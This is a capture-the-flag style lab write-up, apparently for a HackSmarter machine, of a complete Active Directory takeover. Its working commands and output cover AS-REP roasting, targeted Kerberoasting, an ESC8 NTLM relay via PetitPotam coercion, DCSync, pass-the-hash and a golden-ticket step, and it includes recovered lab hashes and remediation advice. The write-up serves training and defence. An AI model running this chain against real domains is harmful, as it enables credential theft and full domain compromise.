Skip to content

Instantly share code, notes, and snippets.

@RajChowdhury240

RajChowdhury240/writeup.md

Created May 10, 2026 11:17
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save RajChowdhury240/3e73ac783d70b3468f909192ff1c365f to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save RajChowdhury240/3e73ac783d70b3468f909192ff1c365f to your computer and use it in GitHub Desktop.
Download ZIP
ShadowGate Writeup
Raw
writeup.md

ShadowGate — HackSmarter Writeup

Target: 10.0.20.33 (DC01.shadow.gate) Domain: shadow.gate Forest functional level: 2016 (Win Server 2022 Build 20348) Attacker IP: 10.200.55.33 (utun4 VPN) Date: 2026-05-10

TL;DR Attack Flow

Null SMB enum → 12 users
   │
   ▼
AS-REP Roast → jtrueblood:blood_brothers
   │
   ▼
Targeted Kerberoast (GenericWrite on bbrown) → bbrown:12345678
   │
   ▼
bbrown ∈ ADCS-Reader → Certipy find → ESC8 (Web Enrollment HTTP)
   │
   ▼
Coercer (PetitPotam) coerce DC01$  ──relay──►  http://10.0.20.33/certsrv  (DomainController template)
   │
   ▼
DC01$ certificate → certipy auth (PKINIT) → DC01$ NT hash
   │
   ▼
DCSync (secretsdump w/ DC01$) → Administrator NT hash
   │
   ▼
PtH → Domain Admin on DC01 (Pwn3d!)

0. Recon

0.1 Nmap port scan

nmap -Pn -n -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,5986,9389 -oN recon/nmap-ad-services.txt 10.0.20.33

Output (relevant):

53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-15 13:41:20Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadow.gate)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http
636/tcp   open  ssl/ldap
3268/tcp  open  ldap
3269/tcp  open  ssl/ldap
3389/tcp  open  ms-wbt-server
5985/tcp  open  http          (WinRM)
9389/tcp  open  mc-nmf

Single Domain Controller. ADCS likely (presence of CertEnroll later confirms). SMB signing disabled — relay primitive.

0.2 Hosts file

echo "10.0.20.33 shadow.gate dc.shadow.gate dc01.shadow.gate DC DC01" | sudo tee -a /etc/hosts

1. Initial Enumeration — Null Session

1.1 SMB shares (null)

nxc smb 10.0.20.33 -u '' -p '' --shares
SMB  10.0.20.33  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB  10.0.20.33  445  DC01  [+] shadow.gate\:
SMB  10.0.20.33  445  DC01  [-] Error enumerating shares: STATUS_ACCESS_DENIED

Null bind succeeds (LDAP anonymous bind allowed). Share enum denied.

1.2 User enumeration (null + SAMR)

nxc smb 10.0.20.33 -u '' -p '' --users
-Username-      -Last PW Set-       -BadPW-  -Description-
Administrator   2026-01-11 11:33:05 0        Built-in account
Guest           <never>             0        Built-in
krbtgt          2026-01-12 02:45:27 0        KDC service account
ATHENA          2026-03-04 15:23:19 0
mbrownlee       2026-03-04 15:24:05 0
bbrown          2026-01-15 14:24:07 0
jtrueblood      2026-04-28 18:14:47 0
jsmith          2026-03-04 15:26:29 0
clocke          2026-03-04 15:24:32 0
tclarke         2026-03-04 15:25:33 0
jbradford       2026-03-04 15:24:59 0
amoss           2026-03-04 15:25:52 0
[*] Enumerated 12 local users: SHADOW

Null SAMR enumeration permitted ⇒ Pre-Windows 2000 Compatible Access group includes Anonymous.

1.3 Quick rpcclient confirmation

rpcclient -U "" -N 10.0.20.33 -c "enumdomusers;enumdomgroups;querydominfo;getdompwinfo"

Notable groups present:

group:[ADCS-Reader]            rid:[0x641]
min_password_length: 8
DOMAIN_PASSWORD_LOCKOUT_ADMINS

Custom ADCS-Reader group → ADCS in scope.

User list saved to recon/users.txt.

2. AS-REP Roasting

GetNPUsers.py shadow.gate/ -no-pass -usersfile recon/users.txt -dc-ip 10.0.20.33
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ATHENA doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mbrownlee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bbrown doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jtrueblood@SHADOW.GATE:5090f86c3da34c4453088bdf3766314e$ec2188bb...316c98
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
...

jtrueblood has DONT_REQ_PREAUTH (UAC=4260352 / 0x410800).

Crack with hashcat

hashcat -m 18200 -a 0 recon/jtrueblood.hash /Users/raj/rockyou.txt -O
$krb5asrep$23$jtrueblood@SHADOW.GATE:5090f86c3da34c...316c98:blood_brothers
Status...........: Cracked

Credential: jtrueblood : blood_brothers

Validate

nxc smb 10.0.20.33 -u jtrueblood -p 'blood_brothers' --shares
[+] shadow.gate\jtrueblood:blood_brothers
Share        Permissions  Remark
ADMIN$
C$
CertEnroll   READ         Active Directory Certificate Services share
IPC$         READ
NETLOGON     READ
SYSVOL       READ

CertEnroll confirms ADCS. WinRM denied for jtrueblood.

3. Targeted Kerberoasting

No SPNs on existing user accounts. Test if jtrueblood has GenericWrite/GenericAll on any user → write SPN, kerberoast, remove SPN.

targetedKerberoast.py -v -d 'shadow.gate' -u 'jtrueblood' -p 'blood_brothers' -o recon/Kerberoastables.txt
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (bbrown)
[+] Writing hash to file for (bbrown)
[VERBOSE] SPN removed successfully for (bbrown)

jtrueblood had GenericWrite on bbrown.

Crack TGS

hashcat -m 13100 -a 0 recon/Kerberoastables.txt /Users/raj/rockyou.txt -O
$krb5tgs$23$*bbrown$SHADOW.GATE$shadow.gate/bbrown*$e1850a39...ad8607:12345678
Status...........: Cracked

Credential: bbrown : 12345678

Validate + check WinRM

nxc smb   10.0.20.33 -u bbrown -p '12345678' --shares     # [+] valid
nxc winrm 10.0.20.33 -u bbrown -p '12345678'              # denied

bbrown is member of ADCS-Reader (confirmed via LDAP):

ldapsearch -x -H ldap://10.0.20.33 -D 'jtrueblood@shadow.gate' -w 'blood_brothers' \
  -b 'DC=shadow,DC=gate' '(cn=ADCS-Reader)' member
dn: CN=ADCS-Reader,CN=Users,DC=shadow,DC=gate
member: CN=Bob Brown,OU=Technology,OU=Departments,DC=shadow,DC=gate

4. ADCS Enumeration

jtrueblood returns 0 templates (no read on template container). bbrown sees them.

certipy find -u bbrown@shadow.gate -p '12345678' -dc-ip 10.0.20.33 -stdout

Critical finding (CA-level):

Certificate Authorities
  0
    CA Name                : shadow-DC01-CA
    DNS Name               : DC01.shadow.gate
    Web Enrollment
      HTTP   Enabled       : True
      HTTPS  Enabled       : False
    User Specified SAN     : Disabled
    Request Disposition    : Issue
    Permissions
      Enroll               : SHADOW.GATE\Authenticated Users
    [!] Vulnerabilities
      ESC8                 : Web Enrollment is enabled over HTTP.

Enabled templates relevant to relay:

KerberosAuthentication            Enabled True
DomainController                  Enabled True
DomainControllerAuthentication    Enabled True
Machine                           Enabled True

ESC8 confirmed. Strategy: coerce DC01 machine account → relay NTLM auth to http://10.0.20.33/certsrv → request certificate using DomainController template → DC01$ certificate → PKINIT → DC01$ NT hash → DCSync.

5. ESC8 — NTLM Relay → DC$ Certificate

5.1 Certipy relay listener (privileged port 445)

Run on attacker (macOS, requires sudo for port 445):

sudo certipy relay -target http://10.0.20.33 -template DomainController \
  -interface 10.200.55.33 -out /Users/raj/HackSmarter/ShadowGate/recon/dc01-cert

Output:

[*] Targeting http://10.0.20.33/certsrv/certfnsh.asp (ESC8)
[*] Listening on 10.200.55.33:445
[*] Setting up SMB Server on port 445

5.2 Coerce DC01 (Coercer)

coercer coerce -t 10.0.20.33 -l 10.200.55.33 -u bbrown -p '12345678' -d shadow.gate --always-continue

Coercer fires MS-RPRN / MS-EFSR / MS-EVEN / MS-DFSNM primitives. DC01 reaches back to \\10.200.55.33 over SMB → relay listener captures the NTLM authentication of DC01$.

5.3 Relay catches DC01$ and pulls a cert

[*] (SMB): Received connection from 10.0.20.33, attacking target http://10.0.20.33
[*] HTTP Request: GET  http://10.0.20.33/certsrv/certfnsh.asp "401 Unauthorized"
[*] HTTP Request: GET  http://10.0.20.33/certsrv/certfnsh.asp "401 Unauthorized"
[*] HTTP Request: GET  http://10.0.20.33/certsrv/certfnsh.asp "200 OK"
[*] (SMB): Authenticating connection from /@10.0.20.33 against http://10.0.20.33 SUCCEED [1]
[*] Requesting certificate for '\\' based on the template 'DomainController'
[*] HTTP Request: POST http://10.0.20.33/certsrv/certfnsh.asp "200 OK"
[*] Certificate issued with request ID 3
[*] HTTP Request: GET  http://10.0.20.33/certsrv/certnew.cer?ReqID=3 "200 OK"
[*] Got certificate with DNS Host Name 'DC01.shadow.gate'
[*] Certificate object SID is 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Saving certificate and private key to '_Users_raj_HackSmarter_ShadowGate_recon_dc01-cert.pfx'

DC01$ machine certificate written to dc01-cert.pfx (PFX, no password set by certipy default flow → file dc01.pfx).

6. PKINIT — Certificate to NT Hash

certipy auth -pfx dc01.pfx -dc-ip 10.0.20.33
[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC01.shadow.gate'
[*]     Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Using principal: 'dc01$@shadow.gate'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531

DC01$ NTLM: aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531

Domain Controller machine accounts have replication rights ⇒ DCSync is now possible.

7. DCSync → Domain Admin

secretsdump.py -hashes :57867e655d1abc9f45fd6e954e351531 \
  'shadow.gate/dc01$@10.0.20.33' -just-dc-user Administrator
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:6bf0048464b8fdf7a2db10f4799715a0c6471ac724424007e95bf55cd6841445
Administrator:aes128-cts-hmac-sha1-96:01b16cb25c0593a4da06b92dcd454c2f
Administrator:des-cbc-md5:d6da94c1b5761f45
[*] Cleaning up...

Administrator NT: 4366ec0f86e29be2a4a5e87a1ba922ec Administrator AES256: 6bf0048464b8fdf7a2db10f4799715a0c6471ac724424007e95bf55cd6841445

8. Pass-the-Hash → DA Shell

nxc smb   10.0.20.33 -u Administrator -H 4366ec0f86e29be2a4a5e87a1ba922ec
nxc winrm 10.0.20.33 -u Administrator -H 4366ec0f86e29be2a4a5e87a1ba922ec
SMB    10.0.20.33  445   DC01  [+] shadow.gate\Administrator:4366ec0f86e29be2a4a5e87a1ba922ec (Pwn3d!)
WINRM  10.0.20.33  5985  DC01  [+] shadow.gate\Administrator:4366ec0f86e29be2a4a5e87a1ba922ec (Pwn3d!)

Interactive shell:

evil-winrm -i 10.0.20.33 -u Administrator -H 4366ec0f86e29be2a4a5e87a1ba922ec
# or
psexec.py shadow.gate/Administrator@10.0.20.33 -hashes :4366ec0f86e29be2a4a5e87a1ba922ec

Full Domain Admin on DC01.shadow.gate. Forest compromise.

9. Optional — Persistence (Golden Ticket)

secretsdump.py -hashes :57867e655d1abc9f45fd6e954e351531 \
  'shadow.gate/dc01$@10.0.20.33' -just-dc-user krbtgt
# then
ticketer.py -nthash <krbtgt_nt> -domain-sid S-1-5-21-243493930-1113464705-3012771586 \
  -domain shadow.gate Administrator

(Skipped during engagement — DA already proven.)

Credentials & Hashes Recovered

Principal Type Value
jtrueblood Cleartext blood_brothers
bbrown Cleartext 12345678
DC01$ NT hash aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531
Administrator NT hash aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec
Administrator AES256 6bf0048464b8fdf7a2db10f4799715a0c6471ac724424007e95bf55cd6841445
Administrator AES128 01b16cb25c0593a4da06b92dcd454c2f
Administrator DES d6da94c1b5761f45

Vulnerabilities Identified

# Issue Severity Account/Object
V1 SAMR null-session user enumeration (Pre-Windows 2000 Compat Access) Medium Domain
V2 Kerberos pre-authentication disabled on jtrueblood High jtrueblood
V3 Weak password (blood_brothers) cracked from rockyou High jtrueblood
V4 jtrueblood granted GenericWrite on bbrown (targeted Kerberoast) High ACL
V5 Weak password (12345678) on bbrown High bbrown
V6 ESC8 — ADCS Web Enrollment over HTTP, NTLM only, no EPA, Authenticated Users enroll Critical shadow-DC01-CA
V7 SMB signing disabled on DC High DC01
V8 Print Spooler / EFSRPC / DFSNM coercion primitives reachable High DC01

Combined → unauthenticated → Domain Admin in one chain.

Remediation

  • ESC8: Disable HTTP Web Enrollment; enforce HTTPS + EPA (Extended Protection for Authentication); set IISClientCertificateMappingAuthentication; or remove Web Enrollment entirely if unused.
  • Coercion: Disable Print Spooler on DCs; patch / mitigate PetitPotam (EnableCertPadding + KB5005413); restrict EFSRPC.
  • SMB signing: Enforce SMB signing required on all DCs and member servers (GPO Microsoft network server: Digitally sign communications (always)).
  • Pre-auth: Re-enable Kerberos pre-authentication for jtrueblood; audit UF_DONT_REQUIRE_PREAUTH.
  • ACLs: Remove jtrueblood's write rights on bbrown; review delegated ACLs in Technology OU with BloodHound.
  • Passwords: Enforce ≥14 char policy + breach-list filter; rotate compromised accounts.
  • Anonymous SAMR: Remove Anonymous / Everyone from Pre-Windows 2000 Compatible Access; set RestrictRemoteSAM SDDL on DCs.
  • ADCS-Reader: Audit purpose; remove if not needed.
  • Tier-0 hygiene: Reset krbtgt twice (post-engagement); rotate DA passwords; rebuild from gold image if possible after CA compromise (CA private key may have been issued certs the attacker could persist with).

Tools Used

nmap, nxc (NetExec), rpcclient, ldapsearch, impacket-GetNPUsers, targetedKerberoast.py, hashcat, bloodhound-python, certipy (find/relay/auth), coercer, impacket-secretsdump, evil-winrm.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment